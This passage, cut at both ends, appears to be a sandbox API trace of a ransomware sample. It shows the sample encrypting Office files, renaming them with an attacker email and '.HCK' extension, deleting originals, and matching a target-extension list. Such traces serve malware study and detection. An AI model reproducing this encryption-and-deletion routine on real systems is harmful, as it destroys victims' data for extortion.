dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0230.063] GetLastError () returned 0x0 [0230.063] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0230.065] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1af0, lpOverlapped=0x0) returned 1 [0230.065] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.065] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.065] SetEndOfFile (hFile=0x4a8) returned 1 [0230.066] CloseHandle (hObject=0x4a8) returned 1 [0230.066] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.066] SetEndOfFile (hFile=0x4d4) returned 1 [0230.068] CloseHandle (hObject=0x4d4) returned 1 [0230.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0230.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.069] lstrlenW (lpString=".doc") returned 4 [0230.069] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.069] lstrlenW (lpString=".docx") returned 5 [0230.069] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.069] lstrlenW (lpString=".pdf") returned 4 [0230.069] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.069] lstrlenW (lpString=".xls") returned 4 [0230.069] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.069] lstrlenW (lpString=".xlsx") returned 5 [0230.069] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.069] lstrlenW (lpString=".ppt") returned 4 [0230.069] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.069] lstrlenW (lpString=".zip") returned 4 [0230.069] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.069] lstrlenW (lpString=".rar") returned 4 [0230.069] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.069] lstrlenW (lpString=".bz2") returned 4 [0230.069] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.069] lstrlenW (lpString=".7z") returned 3 [0230.069] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.069] lstrlenW (lpString=".dbf") returned 4 [0230.069] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.069] lstrlenW (lpString=".1cd") returned 4 [0230.069] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.069] lstrlenW (lpString=".jpg") returned 4 [0230.069] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.070] lstrlenW (lpString=".doc") returned 4 [0230.070] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.070] lstrlenW (lpString=".docx") returned 5 [0230.070] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.070] lstrlenW (lpString=".pdf") returned 4 [0230.070] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.070] lstrlenW (lpString=".xls") returned 4 [0230.070] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.070] lstrlenW (lpString=".xlsx") returned 5 [0230.070] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.070] lstrlenW (lpString=".ppt") returned 4 [0230.070] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.070] lstrlenW (lpString=".zip") returned 4 [0230.070] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.070] lstrlenW (lpString=".rar") returned 4 [0230.070] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.070] lstrlenW (lpString=".bz2") returned 4 [0230.070] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.070] lstrlenW (lpString=".7z") returned 3 [0230.070] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.070] lstrlenW (lpString=".dbf") returned 4 [0230.070] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.070] lstrlenW (lpString=".1cd") returned 4 [0230.070] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0230.070] lstrlenW (lpString=".jpg") returned 4 [0230.070] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.070] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.070] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0230.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.075] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=5968) returned 1 [0230.075] CloseHandle (hObject=0x4d4) returned 1 [0230.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0230.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0230.842] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.842] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0231.579] GetLastError () returned 0x0 [0231.579] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1750, lpOverlapped=0x0) returned 1 [0231.581] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1760, lpOverlapped=0x0) returned 1 [0231.582] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.582] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.582] SetEndOfFile (hFile=0x548) returned 1 [0231.582] CloseHandle (hObject=0x548) returned 1 [0231.582] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.582] SetEndOfFile (hFile=0x4b8) returned 1 [0231.585] CloseHandle (hObject=0x4b8) returned 1 [0231.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString=".doc") returned 4 [0231.586] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.586] lstrlenW (lpString=".docx") returned 5 [0231.586] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.586] lstrlenW (lpString=".pdf") returned 4 [0231.586] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.586] lstrlenW (lpString=".xls") returned 4 [0231.586] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.586] lstrlenW (lpString=".xlsx") returned 5 [0231.586] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.586] lstrlenW (lpString=".ppt") returned 4 [0231.586] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString=".zip") returned 4 [0231.586] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.586] lstrlenW (lpString=".rar") returned 4 [0231.586] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.586] lstrlenW (lpString=".bz2") returned 4 [0231.586] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.586] lstrlenW (lpString=".7z") returned 3 [0231.586] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString=".dbf") returned 4 [0231.586] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString=".1cd") returned 4 [0231.586] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString=".jpg") returned 4 [0231.586] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.586] lstrlenW (lpString=".doc") returned 4 [0231.586] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.586] lstrlenW (lpString=".docx") returned 5 [0231.586] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.587] lstrlenW (lpString=".pdf") returned 4 [0231.587] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.587] lstrlenW (lpString=".xls") returned 4 [0231.587] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.587] lstrlenW (lpString=".xlsx") returned 5 [0231.587] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.587] lstrlenW (lpString=".ppt") returned 4 [0231.587] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.587] lstrlenW (lpString=".zip") returned 4 [0231.587] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.587] lstrlenW (lpString=".rar") returned 4 [0231.587] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.587] lstrlenW (lpString=".bz2") returned 4 [0231.589] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.589] lstrlenW (lpString=".7z") returned 3 [0231.589] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.589] lstrlenW (lpString=".dbf") returned 4 [0231.589] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.589] lstrlenW (lpString=".1cd") returned 4 [0231.589] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0231.589] lstrlenW (lpString=".jpg") returned 4 [0231.589] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.589] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.589] lstrlenW (lpString="Inset.eftx") returned 10 [0231.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0231.590] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=44971) returned 1 [0231.590] CloseHandle (hObject=0x4b8) returned 1 [0231.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0231.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0231.591] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.591] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0231.591] GetLastError () returned 0x0 [0231.592] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xafab, lpOverlapped=0x0) returned 1 [0231.594] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0231.595] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.595] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0231.595] SetEndOfFile (hFile=0x548) returned 1 [0231.595] CloseHandle (hObject=0x548) returned 1 [0231.595] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.595] SetEndOfFile (hFile=0x4b8) returned 1 [0231.597] CloseHandle (hObject=0x4b8) returned 1 [0231.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0231.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.598] lstrlenW (lpString=".doc") returned 4 [0231.598] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.598] lstrlenW (lpString=".docx") returned 5 [0231.598] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.598] lstrlenW (lpString=".pdf") returned 4 [0231.598] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.598] lstrlenW (lpString=".xls") returned 4 [0231.598] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".xlsx") returned 5 [0231.599] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.599] lstrlenW (lpString=".ppt") returned 4 [0231.599] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString=".zip") returned 4 [0231.599] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".rar") returned 4 [0231.599] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".bz2") returned 4 [0231.599] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".7z") returned 3 [0231.599] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString=".dbf") returned 4 [0231.599] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString=".1cd") returned 4 [0231.599] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString=".jpg") returned 4 [0231.599] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString=".doc") returned 4 [0231.599] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".docx") returned 5 [0231.599] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.599] lstrlenW (lpString=".pdf") returned 4 [0231.599] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".xls") returned 4 [0231.599] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".xlsx") returned 5 [0231.599] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.599] lstrlenW (lpString=".ppt") returned 4 [0231.599] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.599] lstrlenW (lpString=".zip") returned 4 [0231.599] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".rar") returned 4 [0231.599] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.599] lstrlenW (lpString=".bz2") returned 4 [0231.600] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.600] lstrlenW (lpString=".7z") returned 3 [0231.600] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.600] lstrlenW (lpString=".dbf") returned 4 [0231.600] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.600] lstrlenW (lpString=".1cd") returned 4 [0231.600] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0231.600] lstrlenW (lpString=".jpg") returned 4 [0231.600] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.600] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.600] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0231.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0231.601] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=46403) returned 1 [0231.601] CloseHandle (hObject=0x4b8) returned 1 [0231.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0231.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0231.601] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.601] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0231.602] GetLastError () returned 0x0 [0231.602] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, 